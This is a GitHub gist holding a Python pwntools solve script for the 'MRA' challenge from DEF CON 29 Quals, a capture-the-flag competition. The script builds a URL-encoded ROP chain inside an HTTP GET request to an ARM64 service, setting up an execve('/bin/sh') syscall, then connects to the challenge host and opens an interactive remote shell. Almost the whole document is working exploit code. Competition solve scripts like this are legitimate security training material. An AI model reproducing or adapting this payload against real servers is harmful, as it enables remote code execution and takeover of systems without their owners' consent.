Created
May 3, 2021 00:40
-
-
Save novafacing/54913a8d5cb1c531ac4f9019d2db5a68 to your computer and use it in GitHub Desktop.
Solve script for MRA from Defcon 29 Quals
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from subprocess import run, PIPE | |
from pathlib import Path | |
import re | |
import random | |
context.arch = "arm" | |
context.bits = 64 | |
PC_REG = r"\(void \(\*\)\(\)\) (0x[0-9a-f]+)" | |
BT_REG = r"0x[0-9a-f]{16}" | |
SRCTEMPLATE = """#layout reg | |
target remote localhost:{} | |
""" | |
portbase = 1 | |
port = portbase + 10000 | |
def a2pp(addr): | |
txtaddr = str(hex(addr))[2:] | |
sep = [bytes(txtaddr[i:i+2], "utf-8") for i in range(0, len(txtaddr), 2)] | |
new = list(map(lambda l: b"%" + l.rjust(2, b"0"), reversed(sep))) | |
while len(new) < 8: | |
new.append(b"%00") | |
return b"".join(new) | |
pad = b"" | |
pad += b"%41%41%41%4a" | |
pad += a2pp(0x00) # NULL | |
pad += a2pp(0x00) # NULL | |
pad += a2pp(0x41d184) # /bin/sh | |
pad += a2pp(0xdd) # syscall num | |
pad += a2pp(0x4141414141414146) # dummy | |
pad += a2pp(0x004085a8) # read entry | |
pad += a2pp(0x4141414141414146) | |
pad += a2pp(0x9) | |
pad += a2pp(0x41d184) | |
pad += a2pp(0x0000000000000000) # actual syscall # 0xdd | |
payload = b"" | |
payload += a2pp(0x6666666666666666) # Syscall # 0xdd (execve) # not used | |
payload += a2pp(0x00406510) # sp - 8 -> sp - 0x38 -> regs x8, 0,1,2,3,4,5 && syscall | |
payload += a2pp(0x5555555555555555) | |
payload += a2pp(0x4444444444444444) | |
payload += a2pp(0x3333333333333333) | |
payload += a2pp(0x2222222222222222) | |
xrep = pad + payload | |
content = b"GET /api/isodd/1236%\x00\x008936%pris%d6666666>" + xrep + b"VVVV/666666!666666666666666666666666666666666666666api/666666666666666666666666666666F6666666666666@66666666666666666666666666666\x15????pris?\x16\x1636%\x00%%%%'%\x7f%%B6\x03" | |
content += b"1" * (0x3ff - len(content)) | |
#r = process(["qemu-aarch64-static", "-g", str(port), "./mra"]) | |
r = remote("mra.challenges.ooo", 8000) | |
print() | |
print("Sending ", content) | |
r.send(content) | |
r.sendline(b"/bin/sh\x00") | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment